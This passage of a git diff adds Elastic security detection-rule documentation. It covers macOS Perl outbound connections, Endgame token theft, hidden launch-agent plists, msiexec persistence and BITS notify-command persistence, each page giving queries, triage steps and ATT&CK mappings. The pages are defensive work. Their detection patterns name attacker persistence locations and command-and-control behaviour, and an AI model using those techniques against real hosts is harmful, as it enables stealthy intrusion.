Isolate the affected macOS host from the network (or block the specific destination IP/port at the egress firewall) and terminate the suspicious `perl` process to stop any active command-and-control or payload download. +- Collect and preserve the Perl command line, referenced script paths, current working directory, any newly written files (especially in `/tmp`, `/var/tmp`, and the user’s `~/Library`), and the full process tree for forensic review before cleanup. +- Remove or quarantine the identified Perl script and any downloaded payloads, then eradicate persistence by deleting malicious `launchd` agents/daemons, cron entries, and suspicious Login Items created around the time of the outbound connection. +- Reimage or restore the endpoint from a known-good source if integrity cannot be confidently validated, rotate credentials used on the device, and invalidate active sessions/tokens that may have been exposed to the Perl process. +- Escalate to IR/forensics immediately if the destination infrastructure is contacted by multiple hosts, the Perl process runs under a privileged context, or you observe repeated beacon-like connections or evidence of persistence beyond a single script execution. +- Harden by restricting interpreter execution (Perl, Python, Ruby) via endpoint controls, enforcing outbound allowlisting/proxying for user endpoints, and adding detections for Perl launching network tools or writing executable content into user-writable directories. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.name == "perl" and not process.args like "/usr/bin/xpath"] + [network where host.os.type == "macos" and event.type == "start" and process.name == "perl" and + not cidrmatch(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", + "192.0.0.0/24", "192.0.2.0/24", "192.168.0.0/16", "192.88.99.0/24", + "224.0.0.0/4", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-permission-theft-detected-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-permission-theft-detected-elastic-endgame.asciidoc new file mode 100644 index 0000000000..bcf3bd5dde --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-permission-theft-detected-elastic-endgame.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-permission-theft-detected-elastic-endgame]] +=== Permission Theft - Detected - Elastic Endgame + +Elastic Endgame detected Permission Theft. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Permission Theft - Detected - Elastic Endgame* + + +Elastic Endgame is a security solution that monitors and detects unauthorized access attempts, focusing on privilege escalation tactics like access token manipulation. Adversaries exploit this by stealing or forging tokens to gain elevated permissions. The detection rule identifies suspicious token-related events, flagging high-risk activities indicative of permission theft, thus enabling timely threat response. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of event.kind:alert and event.module:endgame, ensuring the alert is related to Elastic Endgame's detection capabilities. +- Examine the event.action and endgame.event_subtype_full fields for token_protection_event to identify the specific token manipulation activity that triggered the alert. +- Investigate the source and destination user accounts involved in the alert to determine if there are any unauthorized access attempts or privilege escalations. +- Check for any recent changes or anomalies in the permissions or roles associated with the affected accounts to assess potential impact. +- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise that may suggest a broader attack campaign. +- Consult the MITRE ATT&CK framework for additional context on the Access Token Manipulation technique (T1134) to understand potential adversary behaviors and mitigation strategies. + + +*False positive analysis* + + +- Routine administrative tasks involving token management can trigger alerts. Review and document these tasks to create exceptions for known safe activities. +- Automated scripts or services that frequently access tokens for legitimate purposes may be flagged. Identify these scripts and whitelist them to prevent unnecessary alerts. +- Software updates or installations that require elevated permissions might be detected as suspicious. Monitor these events and adjust detection rules to accommodate regular update schedules. +- Internal security tools that perform token manipulation for testing or monitoring purposes can cause false positives. Ensure these tools are recognized and excluded from detection rules. +- User behavior analytics might misinterpret legitimate user actions as threats. Regularly update user profiles and behavior baselines to minimize false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Revoke any compromised or suspicious access tokens identified in the alert to prevent further misuse of elevated permissions. +- Conduct a thorough review of recent account activities associated with the compromised tokens to identify any unauthorized actions or changes. +- Reset passwords and enforce multi-factor authentication for accounts involved in the incident to enhance security and prevent future unauthorized access. +- Restore any altered or deleted data from backups, ensuring that the restored data is free from any malicious modifications. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been affected. +- Implement enhanced monitoring and logging for token-related activities to detect and respond to similar threats more effectively in the future. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:detection and (event.action:token_protection_event or endgame.event_subtype_full:token_protection_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-permission-theft-prevented-elastic-endgame.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-permission-theft-prevented-elastic-endgame.asciidoc new file mode 100644 index 0000000000..96005f092f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-permission-theft-prevented-elastic-endgame.asciidoc @@ -0,0 +1,128 @@ +[[prebuilt-rule-8-19-34-permission-theft-prevented-elastic-endgame]] +=== Permission Theft - Prevented - Elastic Endgame + +Elastic Endgame prevented Permission Theft. Click the Elastic Endgame icon in the event.module column or the link in the rule.reference column for additional information. + +*Rule type*: query + +*Rule indices*: + +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: None + +*Tags*: + +* Data Source: Elastic Endgame +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Rule Type: Custom Query (KQL) +* Rule Type: Higher-Order +* Domain: Endpoint + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Permission Theft - Prevented - Elastic Endgame* + + +Elastic Endgame is a security solution that prevents unauthorized access by monitoring and blocking attempts to manipulate access tokens, a common privilege escalation tactic. Adversaries exploit token manipulation to gain elevated permissions without detection. The detection rule identifies and alerts on prevention events related to token protection, leveraging specific event types and actions to flag suspicious activities, thus mitigating potential threats. + + +*Possible investigation steps* + + +- Review the alert details to confirm the event.kind is 'alert' and event.module is 'endgame', ensuring the alert is relevant to Elastic Endgame's token protection. +- Examine the event.action and endgame.event_subtype_full fields to determine if the alert was triggered by a 'token_protection_event', which indicates an attempt to manipulate access tokens. +- Investigate the source and destination of the alert by analyzing associated IP addresses, user accounts, and hostnames to identify potential unauthorized access attempts. +- Check the endgame.metadata.type field to verify that the event type is 'prevention', confirming that the attempted permission theft was successfully blocked. +- Correlate the alert with other recent alerts or logs to identify patterns or repeated attempts that might indicate a persistent threat actor. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate action is required to mitigate potential threats. + + +*False positive analysis* + + +- Routine administrative tasks involving legitimate token manipulation may trigger alerts. Review the context of the event to determine if it aligns with expected administrative activities. +- Scheduled scripts or automated processes that require token access might be flagged. Identify these processes and consider creating exceptions for known, safe operations. +- Software updates or installations that involve token changes can generate alerts. Verify the source and purpose of the update to ensure it is authorized, and exclude these events if they are part of regular maintenance. +- Security tools or monitoring solutions that interact with tokens for legitimate purposes may cause false positives. Cross-reference with known tool activities and whitelist these actions if they are verified as non-threatening. +- User behavior analytics might misinterpret legitimate user actions as suspicious. Analyze user activity patterns and adjust the detection thresholds or rules to better align with normal user behavior. + + +*Response and remediation* + + +- Immediately isolate the affected system to prevent further unauthorized access or privilege escalation attempts. +- Revoke any potentially compromised access tokens and force re-authentication for affected accounts to ensure that only legitimate users regain access. +- Conduct a thorough review of recent access logs and token usage to identify any unauthorized access or actions taken by the adversary. +- Apply patches or updates to the affected systems and applications to address any vulnerabilities that may have been exploited for token manipulation. +- Implement enhanced monitoring on the affected systems to detect any further attempts at access token manipulation or privilege escalation. +- Notify the security team and relevant stakeholders about the incident, providing details of the threat and actions taken, and escalate to higher management if the threat level increases. +- Review and update access control policies and token management practices to prevent similar incidents in the future, ensuring that only necessary permissions are granted and regularly audited. + +==== Setup + + + +*Setup* + + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind:alert and event.module:endgame and endgame.metadata.type:prevention and (event.action:token_protection_event or endgame.event_subtype_full:token_protection_event) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-a-hidden-plist-filename.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-a-hidden-plist-filename.asciidoc new file mode 100644 index 0000000000..71aaa26142 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-a-hidden-plist-filename.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-persistence-via-a-hidden-plist-filename]] +=== Persistence via a Hidden Plist Filename + +Identifies the creation of a hidden launch agent or daemon property list file. An adversary may establish persistence by installing a new launch agent or daemon which executes at login. Hidden plist files with filenames starting with a dot are particularly suspicious. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/ +* https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via a Hidden Plist Filename* + + +LaunchAgents and LaunchDaemons are macOS persistence mechanisms that automatically execute programs at login or system startup. Files with names starting with a dot (.) are hidden from standard directory listings in macOS, making them less visible to users and administrators. Threat actors combine these techniques by creating hidden plist files in LaunchAgent/LaunchDaemon directories to establish stealthy persistence that survives reboots while evading casual inspection. This behavior was notably observed in the CloudMensis macOS spyware campaign. + + +*Possible investigation steps* + + +- Examine the file.path to identify the full path of the hidden plist file and determine whether it is in a user-specific or system-wide LaunchAgent/LaunchDaemon directory. +- Use plutil or defaults to read the plist contents and identify the executable path, arguments, and execution conditions configured in the ProgramArguments or Program keys. +- Locate the binary or script referenced in the plist file and calculate its hash for threat intelligence lookups. +- Analyze the binary's code signature using codesign -dvvv to determine if it is signed, and by whom. +- Review the process.executable that created the plist file to understand the initial delivery mechanism. +- Check file creation timestamps to determine when the hidden plist was created and correlate with other security events. +- Search for other hidden files in LaunchAgent and LaunchDaemon directories across the system. + + +*False positive analysis* + + +- Chef configuration management may create hidden plists matching .chef-com* patterns. These are already excluded in the query. +- Some legitimate applications may temporarily create dot-prefixed files during installation. Verify the process that created the file and its signature. +- Backup and synchronization tools occasionally create hidden configuration files. Confirm the tool's legitimacy and expected behavior. +- System processes like sed may create temporary hidden files during in-place editing operations. These are partially excluded in the query. + + +*Response and remediation* + + +- Immediately unload the hidden LaunchAgent or LaunchDaemon using launchctl unload with the plist path. +- Remove the hidden plist file from the LaunchAgent or LaunchDaemon directory. +- Locate and remove the malicious binary or script referenced in the plist's Program or ProgramArguments keys. +- Search for related hidden files, configuration files, or staging directories that may be part of the same malware deployment. +- Review system logs for evidence of the hidden persistence mechanism executing and what actions it performed. +- Check for data exfiltration or command and control communication if the behavior matches known spyware patterns like CloudMensis. +- Reset credentials that may have been accessed while the persistence mechanism was active. +- Monitor for recreation of hidden plist files in LaunchAgent and LaunchDaemon directories. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.type != "deletion" and + file.path like~ ( + "/System/Library/LaunchAgents/.*.plist", + "/Library/LaunchAgents/.*.plist", + "/Users/*/Library/LaunchAgents/.*.plist", + "/System/Library/LaunchDaemons/.*.plist", + "/Library/LaunchDaemons/.*.plist" + ) and + not (file.name like ".chef-com*.plist" and process.executable like "/opt/chef/embedded/bin/ruby") and + not (process.executable in ("/usr/bin/sed", "/bin/bash") and file.name like ".!*!*.plist") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Plist Modification +** ID: T1547.011 +** Reference URL: https://attack.mitre.org/techniques/T1547/011/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Launch Agent +** ID: T1543.001 +** Reference URL: https://attack.mitre.org/techniques/T1543/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-a-windows-installer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-a-windows-installer.asciidoc new file mode 100644 index 0000000000..8311f41687 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-a-windows-installer.asciidoc @@ -0,0 +1,205 @@ +[[prebuilt-rule-8-19-34-persistence-via-a-windows-installer]] +=== Persistence via a Windows Installer + +Identifies when the Windows installer process msiexec.exe creates a new persistence entry via scheduled tasks or startup. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-endpoint.events.file-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Installer Abuse +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via a Windows Installer* + + +Windows Installer, through msiexec.exe, facilitates software installation and configuration. Adversaries exploit this by creating persistence mechanisms, such as scheduled tasks or startup entries, to maintain access. The detection rule identifies suspicious activity by monitoring msiexec.exe for file creation in startup directories or registry modifications linked to auto-run keys, signaling potential persistence tactics. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path or registry path involved in the suspicious activity, focusing on the paths specified in the query such as "?:\\Windows\\System32\\Tasks\\*" or "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*". +- Check the creation or modification timestamps of the files or registry entries to determine when the suspicious activity occurred and correlate it with other events or logs around the same time. +- Investigate the parent process of msiexec.exe to understand how it was executed and whether it was initiated by a legitimate user action or another suspicious process. +- Examine the contents of the created or modified files or registry entries to identify any scripts, executables, or commands that may indicate malicious intent. +- Look for any associated network activity or connections initiated by msiexec.exe or related processes to identify potential command and control communication. +- Cross-reference the involved file or registry paths with known indicators of compromise or threat intelligence sources to assess the risk level and potential threat actor involvement. +- If applicable, isolate the affected system and perform a deeper forensic analysis to uncover any additional persistence mechanisms or lateral movement within the network. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule when msiexec.exe creates scheduled tasks or startup entries. Users can create exceptions for known software vendors or specific installation paths to reduce noise. +- System administrators might use msiexec.exe for deploying software across the network, which can appear as suspicious activity. To handle this, exclude specific administrative accounts or IP ranges from the rule. +- Some enterprise management tools may utilize msiexec.exe for legitimate configuration changes, including registry modifications. Identify and exclude these tools by their process names or associated registry paths. +- Automated scripts or deployment tools that rely on msiexec.exe for software management can generate false positives. Consider excluding these scripts or tools by their execution context or associated file paths. +- Regularly review and update the exclusion list to ensure it aligns with the current software deployment and management practices within the organization. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Terminate the msiexec.exe process if it is confirmed to be involved in creating unauthorized persistence mechanisms. +- Remove any scheduled tasks or startup entries created by msiexec.exe that are identified as malicious or unauthorized. +- Restore any modified registry keys to their original state if they were altered to establish persistence. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and update security policies to restrict the use of msiexec.exe for non-administrative users, reducing the risk of exploitation. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (process.name : "msiexec.exe" or Effective_process.name : "msiexec.exe") and + ( + ( + event.category == "file" and event.action == "creation" and + file.path : ( + "?:\\Windows\\System32\\Tasks\\*", + "?:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\*", + "?:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" + ) and + not file.path : ( + "?:\\Windows\\System32\\Tasks\\Adobe Acrobat Update Task", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Sure Click ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Sure Click UI ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\HP\\Sure Click\\Upgrade Repair ?.?.??.????", + "?:\\Windows\\System32\\Tasks\\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132", + "?:\\Windows\\System32\\Tasks\\IntelSURQC-Upgrade-86621605-2a0b-4128-8ffc-15514c247132-Logon" + ) + ) or + ( + event.category == "registry" and event.action == "modification" and registry.data.strings != null and + registry.path : ( + "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "H*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "H*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "H*\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*" + ) and + not registry.data.strings : ( + "C:\\Program Files (x86)\\Common Files\\Acronis\\TibMounter\\tib_mounter_monitor.exe", + "C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\jusched.exe", + "C:\\Program Files\\Citrix\\Secure Access Client\\CtxsDPS.exe --clean-user-installs", + "C:\\Program Files\\OpenVPN\\bin\\openvpn-gui.exe", + "C:\\Program Files\\Veeam\\Endpoint Backup\\Veeam.EndPoint.Tray.exe -NoControlPanel -CheckNumberOfRunningAgents", + "\"C:\\Program Files (x86)\\Cisco\\Cisco Secure Client\\UI\\csc_ui.exe\" -minimized", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\concentr.exe\" /startup", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\Receiver\\AnalyticsSrv.exe\" /Startup", + "\"C:\\Program Files (x86)\\Citrix\\ICA Client\\redirector.exe\" /startup", + "\"C:\\Program Files (x86)\\EPSON Software\\Download Navigator\\EPSDNMON.EXE\"", + "\"C:\\Program Files (x86)\\Jabra\\Direct6\\jabra-direct.exe\" /minimized", + "\"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vmware-tray.exe\"", + "\"C:\\Program Files\\ESET\\ESET Security\\ecmds.exe\" /run /hide /proxy", + "\"C:\\Program Files\\iTunes\\iTunesHelper.exe\"", + "\"C:\\Program Files\\KeePassXC\\KeePassXC.exe\"", + "\"C:\\Program Files\\Palo Alto Networks\\GlobalProtect\\PanGPA.exe\"", + "\"C:\\Program Files\\PDF24\\pdf24.exe\"", + "\"C:\\Program Files\\VMware\\VMware Tools\\vmtoolsd.exe\" -n vmusr", + "\"C:\\PROGRA~2\\Citrix\\DEVICE~1\\Bin64\\DTCLIE~1.EXE\"", + "\"%ProgramFiles%\\Teams Installer\\Teams.exe\" --checkInstall --source=default" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-bits-job-notify-cmdline.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-bits-job-notify-cmdline.asciidoc new file mode 100644 index 0000000000..30b0c229f8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-persistence-via-bits-job-notify-cmdline.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-persistence-via-bits-job-notify-cmdline]] +=== Persistence via BITS Job Notify Cmdline + +An adversary can use the Background Intelligent Transfer Service (BITS) SetNotifyCmdLine method to execute a program that runs after a job finishes transferring data or after a job enters a specified state in order to persist on a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pentestlab.blog/2019/10/30/persistence-bits-jobs/ +* https://docs.microsoft.com/en-us/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline +* https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifycmdline +* https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-2 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 416 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Persistence via BITS Job Notify Cmdline* + + +Background Intelligent Transfer Service (BITS) is a Windows service that facilitates asynchronous, prioritized, and throttled transfer of files between machines. Adversaries exploit BITS by using the SetNotifyCmdLine method to execute malicious programs post-transfer, achieving persistence. The detection rule identifies suspicious processes initiated by BITS, excluding known legitimate executables, to flag potential abuse. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent process is "svchost.exe" with arguments containing "BITS" to ensure the alert is not a false positive. +- Examine the process executable path to verify it is not one of the known legitimate executables listed in the exclusion criteria. +- Investigate the command line arguments of the suspicious process to identify any potentially malicious or unusual commands being executed. +- Check the file hash and signature of the suspicious executable to determine if it is known malware or a legitimate application. +- Analyze the network activity associated with the process to identify any suspicious connections or data transfers that may indicate malicious behavior. +- Review the system's event logs for any additional context or related events that could provide insight into the persistence mechanism or the adversary's actions. +- Assess the affected system for any other signs of compromise or persistence mechanisms that may have been employed by the adversary. + + +*False positive analysis* + + +- Legitimate system processes or updates may occasionally trigger the rule if they are not included in the exclusion list. Regularly review and update the exclusion list to include any new legitimate executables that are identified. +- Some third-party software may use BITS for legitimate purposes, such as software updates or data synchronization. Identify these applications and consider adding their executables to the exclusion list to prevent false positives. +- Scheduled tasks or scripts that utilize BITS for file transfers might be flagged. Verify the legitimacy of these tasks and, if deemed safe, exclude their associated executables from the detection rule. +- In environments where custom scripts or administrative tools are used, ensure that these are documented and, if necessary, excluded from the rule to avoid unnecessary alerts. +- Monitor the frequency and context of alerts to identify patterns that may indicate benign activity. Use this information to refine the rule and reduce false positives without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as being initiated by BITS that are not part of the known legitimate executables list. +- Conduct a thorough review of the BITS job configurations on the affected system to identify and remove any unauthorized or suspicious jobs. +- Restore the system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Update and run a full antivirus and anti-malware scan on the affected system to ensure no additional threats are present. +- Review and enhance endpoint protection policies to prevent unauthorized use of BITS for persistence, ensuring that only trusted applications can create or modify BITS jobs. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + 